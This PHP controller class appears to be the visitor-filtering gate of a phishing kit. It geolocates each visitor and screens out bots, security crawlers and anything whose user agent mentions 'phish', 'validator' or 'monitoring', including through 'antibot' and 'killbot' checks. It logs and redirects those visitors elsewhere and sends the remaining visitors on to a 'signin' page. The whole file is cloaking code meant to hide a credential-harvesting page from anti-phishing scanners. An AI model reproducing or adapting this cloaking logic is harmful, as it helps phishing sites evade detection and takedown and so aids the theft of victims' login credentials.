<?php 
defined("ACCESS") or die('Konz');

class Home 
{
	private $_LICENSE = FCPATH . "arahmataAngin/system/private/license.ini";
	private $_CONFIG = FCPATH. "arahmataAngin/system/private/setting.json";

	public function __construct()
	{
		$this->pc = new Pc();
		$_ini_file = parse_ini_file($this->_LICENSE);
		$this->license = new license($_ini_file);

		$getInfo = _geoGet($this->pc->ip_address);

		foreach($getInfo as $k => $v)
		{
			$_SESSION[$k] = $v;
		}
	}

	public function index()
	{	
		if(blackbox($this->pc->ip_address)) {
			write(FCPATH . 'arahmataAngin/system/stats/log_robot.txt', 'a', "{$this->pc->ip_address}\r\n");
			_blocks();
			redirect(uriRand());
		}
		
		if(preg_match("/bot|crawler|spider|aws|curl|slurp|phish|search|libwww-perl|python|archiver|transcoder|spider|uptime|validator|fetcher|cron|check|reader|extractor|monitoring|analyz/",$_SERVER['HTTP_USER_AGENT'])) {
			write(FCPATH . 'arahmataAngin/system/stats/log_robot.txt', 'a', "{$this->pc->ip_address}\r\n");
			_blocks();
			redirect(uriRand());
		}

		if ($this->pc->is_robot) {
			write(FCPATH . 'arahmataAngin/system/stats/log_robot.txt', 'a', "{$this->pc->ip_address}\r\n");
			_blocks();
			redirect(uriRand());
		}

		if (!isset($_GET[_config('parameter')])) {
			write(FCPATH . 'arahmataAngin/system/stats/log_robot.txt', 'a', "{$this->pc->ip_address}\r\n");
			_blocks();
			redirect(uriRand());
		}

		if (!empty(_config('antibot'))){
			if(antibot($this->pc->ip_address, $this->pc->agent)) {
				write(FCPATH . 'arahmataAngin/system/stats/log_robot.txt', 'a', "{$this->pc->ip_address}\r\n");
				_blocks();
				redirect(uriRand());
			}
		}

		if (!empty(_config('killbot'))){
			if(killbot($this->pc->ip_address, $this->pc->agent)) {
				write(FCPATH . 'arahmataAngin/system/stats/log_robot.txt', 'a', "{$this->pc->ip_address}\r\n");
				_blocks();
				redirect(uriRand());
			}
		}

		$_SESSION['access'] = 1;
		
		write(FCPATH . 'arahmataAngin/system/stats/log_visit.txt', 'a', "{$this->pc->ip_address}\r\n");

		redirect(base_url() . 'signin');
	}
}